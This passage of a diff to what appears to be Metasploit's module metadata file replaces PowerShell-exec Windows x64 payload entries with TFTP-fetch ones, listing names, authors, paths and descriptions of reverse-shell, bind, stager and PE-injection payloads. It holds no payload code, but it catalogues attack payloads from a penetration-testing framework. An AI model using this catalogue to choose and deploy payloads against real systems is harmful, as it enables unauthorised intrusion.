"Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189694,10 +199170,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -189706,9 +199182,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_rc4", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4": { + "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4", "aliases": [ ], @@ -189716,17 +199192,19 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "skape ", "sf ", + "OJ Reeves", "hdm ", - "skape ", "mihi", "max3raza", "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189734,10 +199212,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -189746,9 +199224,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid": { + "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -189756,13 +199234,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "skape ", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189770,10 +199250,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -189782,9 +199262,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell_bind_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/x64/shell_bind_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttp": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_winhttp", "aliases": [ ], @@ -189792,12 +199272,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189805,10 +199288,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, @@ -189817,9 +199300,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/shell_reverse_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/x64/shell_reverse_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttps": { + "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_winhttps", "aliases": [ ], @@ -189827,12 +199310,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189840,10 +199326,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, @@ -189851,10 +199337,10 @@ }, "session_types": false, "needs_cleanup": false - }, - "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", + }, + "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp", "aliases": [ ], @@ -189862,13 +199348,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189876,10 +199362,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -189888,9 +199374,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -189898,14 +199384,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189913,10 +199399,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -189925,9 +199411,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_named_pipe", + "payload_cmd/windows/tftp/x64/peinject/bind_named_pipe": { + "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_named_pipe", "aliases": [ ], @@ -189935,14 +199421,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", + "Brendan Watters", + "ege ", "UserExistsError" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a pipe connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189950,10 +199435,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_named_pipe", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -189962,9 +199447,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/bind_tcp": { - "name": "Powershell Exec, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp", + "payload_cmd/windows/tftp/x64/peinject/bind_tcp": { + "name": "TFTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp", "aliases": [ ], @@ -189972,13 +199457,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -189986,10 +199471,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -189998,9 +199483,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", + "payload_cmd/windows/tftp/x64/peinject/bind_tcp_rc4": { + "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp_rc4", "aliases": [ ], @@ -190008,18 +199493,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", + "Brendan Watters", + "ege ", "hdm ", "skape ", + "sf ", "mihi", "max3raza", "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190027,10 +199512,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -190039,9 +199524,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/peinject/bind_tcp_uuid": { + "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp_uuid", "aliases": [ ], @@ -190049,14 +199534,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190064,10 +199549,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -190076,9 +199561,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_http": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_http", + "payload_cmd/windows/tftp/x64/peinject/reverse_named_pipe": { + "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_named_pipe", "aliases": [ ], @@ -190086,14 +199571,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", + "Brendan Watters", + "ege ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190101,10 +199585,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_http", + "ref_name": "cmd/windows/tftp/x64/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -190113,9 +199597,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_https": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_https", + "payload_cmd/windows/tftp/x64/peinject/reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp", "aliases": [ ], @@ -190123,16 +199607,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "agix", - "rwincey" + "Brendan Watters", + "ege ", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190140,10 +199621,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_https", + "ref_name": "cmd/windows/tftp/x64/peinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190152,9 +199633,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp": { - "name": "Powershell Exec, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp", + "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_rc4": { + "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp_rc4", "aliases": [ ], @@ -190162,13 +199643,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190176,21 +199662,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/peinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", + "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_uuid": { + "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp_uuid", "aliases": [ ], @@ -190198,18 +199684,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "ege ", "sf ", - "hdm ", - "skape ", - "mihi", - "max3raza", - "RageLtMan" + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190217,21 +199699,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/peinject/reverse_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/pingback_reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/tftp/x64/pingback_reverse_tcp", "aliases": [ ], @@ -190239,14 +199721,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "OJ Reeves" + "Brendan Watters", + "bwatters-r7" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and report UUID (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -190254,10 +199734,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190266,9 +199746,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttp": { - "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttp", + "payload_cmd/windows/tftp/x64/powershell_bind_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/windows/tftp/x64/powershell_bind_tcp", "aliases": [ ], @@ -190276,14 +199756,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "OJ Reeves" + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from a tftp server", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -190291,10 +199771,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_winhttp", + "ref_name": "cmd/windows/tftp/x64/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190303,9 +199783,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttps": { - "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttps", + "payload_cmd/windows/tftp/x64/powershell_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/windows/tftp/x64/powershell_reverse_tcp", "aliases": [ ], @@ -190313,14 +199793,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "OJ Reeves" + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "description": "Fetch and Execute an x64 payload from a tftp server", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -190328,10 +199808,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_winhttps", + "ref_name": "cmd/windows/tftp/x64/powershell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -190340,9 +199820,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell_bind_tcp": { - "name": "Windows Interactive Powershell Session, Bind TCP", - "fullname": "payload/cmd/windows/powershell_bind_tcp", + "payload_cmd/windows/tftp/x64/powershell_reverse_tcp_ssl": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/windows/tftp/x64/powershell_reverse_tcp_ssl", "aliases": [ ], @@ -190350,10 +199830,12 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Ben Turner", - "Dave Hardy" + "Dave Hardy", + "sf " ], - "description": "Interacts with a powershell session on an established socket connection", + "description": "Fetch and Execute an x64 payload from a tftp server", "references": [ "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], @@ -190363,10 +199845,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/powershell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, @@ -190375,9 +199857,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell_reverse_tcp": { - "name": "Windows Interactive Powershell Session, Reverse TCP", - "fullname": "payload/cmd/windows/powershell_reverse_tcp", + "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp": { 